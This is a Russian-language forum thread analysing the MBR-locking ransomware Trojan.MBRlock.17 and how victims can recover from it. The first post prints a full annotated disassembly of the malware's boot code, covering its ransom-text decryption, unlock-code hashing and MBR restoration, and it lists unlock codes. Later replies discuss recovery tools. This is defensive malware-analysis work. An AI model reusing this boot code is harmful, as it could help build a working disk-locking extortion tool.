Анализ вымогателя Trojan.MBRlock.17

thyrex

Ассоциация VN/VIP
VIP
Сообщения
3,786
Реакции
2,394
Появилась новая разновидность MBRlock - Trojan.MBRlock.17 (ЛК:Trojan-Ransom.Boot.Mbro.e, Fortinet: w32/mbro.e!tr)

[ERROR]Мы не рекомендуем пытаться восстановить MBR самостоятельно воспользовавшись fixmbr, это может привести к утере таблицы разделов и как следствие неработоспособности компьютера. Пример[/ERROR]

Характерная особенность: строка для ввода кода смещена ближе к центру нижней строки экрана



Что нового
1. Вирус портит таблицу разделов.
2. Оригинальное содержимое MBR хранится в 16 секторе
3. Текст сообщения вымогателя и другие используемые им фразы хранятся в секторах 5-7
Оригинальное содержимое этих секторов зашифровано методом последовательного применения XOR с кодами CF-FF, 00-CE
Т.е. каждый следующий байт ксорится новым значением.
4. Знакогенератор для символов хранится в секторах 53, 54
5. Вычисляется хэш введенного кода разблокировки (используется цииклический сдвиг влево на 3 бита + xor с кодом каждого введенногоо сиимвола), т.е. в явном виде код не лежит и теоретически их подойдет несметное количество (используется тот же диапазон символов, что и в предыдущих версиях)

Дополнительный анализ имеющихся зараженных дампов показал, что:
1. Коды разблокировки могут быть длиной 5 - 11 символов
2. Оригинальное содержимое записывается в один из секторов 2-63, который выбирается случайно
3. Знакогенератор (2 сектора) также записывается в случайные сектора 2-63
4. Текст вымогателя и сопутствующие тексты (3 сектора) зашифрованы и располагаются также в случайных секторах 2-63
5. Попался дамп, в котором таблица разделов не испорчена

Код:
0000: 31C0         xor     ax,ax
0002: 8ED0         mov     ss,ax
0004: BC007C         mov     sp,07C00
0007: 8ED8         mov     ds,ax
0009: 8EC0         mov     es,ax
; [B]установить режим 80х25, 16-цветный[/B]
000B: B80300         mov     ax,3
000E: CD10         int     010
; [B]чтение двух секторов, начиная с сектора 53[/B]
0010: BA8000         mov     dx,00080
0013: B93500         mov     cx,00035
0016: B80202         mov     ax,00202
0019: BB0010         mov     bx,01000
001C: CD13         int     013
; [B]загрузить знакогенератор [/B]
001E: B80011         mov     ax,01100
0021: BD0010         mov     bp,01000
0024: B94000         mov     cx,00040
0027: BAC000         mov     dx,000C0
002A: BB0010         mov     bx,01000
002D: CD10         int     010
; [B]чтение трех секторов, начиная с сектора 5[/B]
002F: BA8000         mov     dx,00080
0032: B90500         mov     cx,5
0035: B80302         mov     ax,00203
0038: BB0030         mov     bx,03000
003B: CD13         int     013
; [B]расшифровка секторов 5, 6, 7 (сообщение вымогателя и сопутствующие тексты)[/B]
003D: BE0030         mov     si,03000
0040: 89F7         mov     di,si
0042: B9D404         mov     cx,004D4
0045: B2CF         mov     dl,[B][COLOR="Red"]0CF[/COLOR][/B] ; <== начальное значение для шифрования
0047: AC         lodsb
0048: 30D0         xor     al,dl
004A: AA         stosb
004B: FEC2         inc     dl
004D: E2F8         loop     00047
; [B]вывод сообщения вымогателя на экран[/B]
004F: BE0030         mov     si,03000
0052: 89F0         mov     ax,si
0054: 83C023         add     ax,023
0057: 89C5         mov     bp,ax
0059: B80113         mov     ax,01301
005C: BB0F00         mov     bx,0000F
005F: B9B004         mov     cx,004B0
0062: BA0001         mov     dx,00100
0065: CD10         int     010
; [B]вывод строки запроса кода[/B]
0067: 89F5         mov     bp,si
0069: B80113         mov     ax,01301
006C: BB0C00         mov     bx,0000C
006F: B90C00         mov     cx,0000C
0072: BA1517         mov     dx,01715
0075: CD10         int     010
; [B]чтение введенного пользователем кода[/B]
0077: BF006C         mov     di,06C00
007A: 31C0         xor     ax,ax
007C: CD16         int     016
007E: 3C08         cmp     al,8
0080: 7521         jnz     000A3
0082: B403         mov     ah,3
0084: 31DB         xor     bx,bx
0086: 80FA21         cmp     dl,021
0089: CD10         int     010
008B: 76ED         jbe     0007A
008D: 52         push     dx
008E: FECA         dec     dl
0090: B402         mov     ah,2
0092: CD10         int     010
0094: B8200E         mov     ax,00E20
0097: CD10         int     010
0099: 5A         pop     dx
009A: FECA         dec     dl
009C: B402         mov     ah,2
009E: CD10         int     010
00A0: 4F         dec     di
00A1: EBD7         jmps     0007A
00A3: 3C0D         cmp     al,00D
00A5: 7420         jz     000C7
00A7: 3C20         cmp     al,020
00A9: 72CF         jc     0007A
00AB: 3C7E         cmp     al,07E
00AD: 77CB         ja     0007A
00AF: AA         stosb
00B0: B409         mov     ah,9
00B2: 31C9         xor     cx,cx
00B4: 41         inc     cx
00B5: B30A         mov     bl,00A
00B7: CD10         int     010
00B9: B403         mov     ah,3
00BB: 31DB         xor     bx,bx
00BD: CD10         int     010
00BF: FEC2         inc     dl
00C1: B402         mov     ah,2
00C3: CD10         int     010
00C5: EBB3         jmps     0007A
; [B]получение хэша кода, введенного пользователем[/B]
00C7: 56         push     si
00C8: BE006C         mov     si,06C00
00CB: B90800         mov     cx,8
00CE: 31D2         xor     dx,dx
00D0: C1C203         rol     dx,3
00D3: AC         lodsb
00D4: 30C2         xor     dl,al
00D6: E2F8         loop     000D0
00D8: 5E         pop     si
00D9: 81FA1033          cmp     dx,[B][COLOR="red"]03310[/COLOR][/B]    ; <== это хэш кода разблокировки (может отличаться у разных пользователей)
00DD: 7438         jz     00117
; [B]вывод сообщения об ошибке в случае неверного кода[/B]
00DF: 89F0         mov     ax,si
00E1: 83C00C         add     ax,00C
00E4: 89C5         mov     bp,ax
00E6: B80113         mov     ax,01301
00E9: BB0400         mov     bx,4
00EC: B90D00         mov     cx,0000D
00EF: BA2117         mov     dx,01721
00F2: CD10         int     010
00F4: B8200A         mov     ax,00A20
00F7: B96400         mov     cx,00064
00FA: CD10         int     010
00FC: B91400         mov     cx,00014
00FF: 31D2         xor     dx,dx
0101: B486         mov     ah,086
0103: CD15         int     015
0105: B402         mov     ah,2
0107: BA2117         mov     dx,01721
010A: CD10         int     010
010C: B8200A         mov     ax,00A20
010F: B96400         mov     cx,00064
0112: CD10         int     010
0114: E960FF         jmp     00077
; [B]код подошел, вывод строки о начале загрузки OS[/B]
0117: B80300         mov     ax,3
011A: CD10         int     010
011C: 89F0         mov     ax,si
011E: 83C019         add     ax,019
0121: 89C5         mov     bp,ax
0123: B80113         mov     ax,01301
0126: BB0200         mov     bx,2
0129: B90A00         mov     cx,0000A
012C: BA0102         mov     dx,00201
012F: CD10         int     010
0131: B409         mov     ah,9
0133: B02E         mov     al,02E
0135: B90E00         mov     cx,0000E
0138: CD10         int     010
013A: B302         mov     bl,2
013C: B402         mov     ah,2
013E: BA0102         mov     dx,00201
0141: CD10         int     010
0143: B91400         mov     cx,00014
0146: 31D2         xor     dx,dx
0148: B486         mov     ah,086
014A: CD15         int     015
; [B]передача управления на восстановление MBR[/B]
014C: 6A00         push     0
014E: 07         pop     es
014F: CD12         int     012
0151: C1E006         shl     ax,6
0154: 8EC0         mov     es,ax
0156: 31FF         xor     di,di
0158: BE647D         mov     si,07D64
015B: B92200         mov     cx,00022
015E: F3A4         rep     movsb
0160: 06         push     es
0161: 6A00         push     0
0163: CB         retf
; [B]восстановление MBR и передача управления оригинальному загрузчику[/B]
0164: 6A00         push     0
0166: 07         pop     es
0167: B280         mov     dl,080
0169: B91000         mov     cx,00010
016C: B80102         mov     ax,00201
016F: BB007C         mov     bx,07C00
0172: CD13         int     013
0174: B280         mov     dl,080
0176: B90100         mov     cx,1
0179: B80103         mov     ax,00301
017C: BB007C         mov     bx,07C00
017F: CD13         int     013
0181: EA007C0000     jmpf     00000:07C00

12345
16464
34655990
04455951
16454101
36655980
04454151
10054133
17655904
10655930
00000277572
00000677568
00001077577
00000877577
00001277576
00001877573
 
Последнее редактирование модератором:
Наверна я много пропустил.
Подскажите а как же запустить утилиту для поиска кода, когда компьютер будет блокирован? Если можно - по пунктам. Пожалуйста.
 
Трубадур, никак. Утилита предназначена для анализа дампа MBR.

Добавлено через 44 секунды
Ну или с LiveCd.
 
Последнее редактирование модератором:
Провел более тщательный анализ 5 имеющихся зараженных дампов. Коды разблокировки длиной 5 символов (2 случая) или 8 символов (3 случая)

Установлено:
1. Оригинальное содержимое записывается в один из секторов 2-63, который выбирается случайно
2. Знакогенератор (2 сектора) также записывается в случайные сектора 2-63
3. Текст вымогателя и сопутствующие тексты (3 сектора) зашифрованы и располагаются также в случайных секторах 2-63

Просьба обновить информацию в первом посте темы
 
Правильнее будет так: она испорчена блокиратором

До

После

То есть если примените fixmbr, затем последуют обязательные танцы с бубном вместе с TestDisk?

Инфектора пока не поймали?

Добавлено через 6 минут 32 секунды
Ооо, ДрВеб решил первенство присвоить
 
Последнее редактирование модератором:
Значит у докторов есть дроппер. Ибо подробностей инфицирования до сих пор небыло известно.
Были случаи, когда просили только 500 и 600 рублей. А на картинке уже 400.

То есть если примените fixmbr, затем последуют обязательные танцы с бубном вместе с TestDisk?
Вот здесь тоже танцы описаны
 
Последнее редактирование модератором:
Назад
Сверху Снизу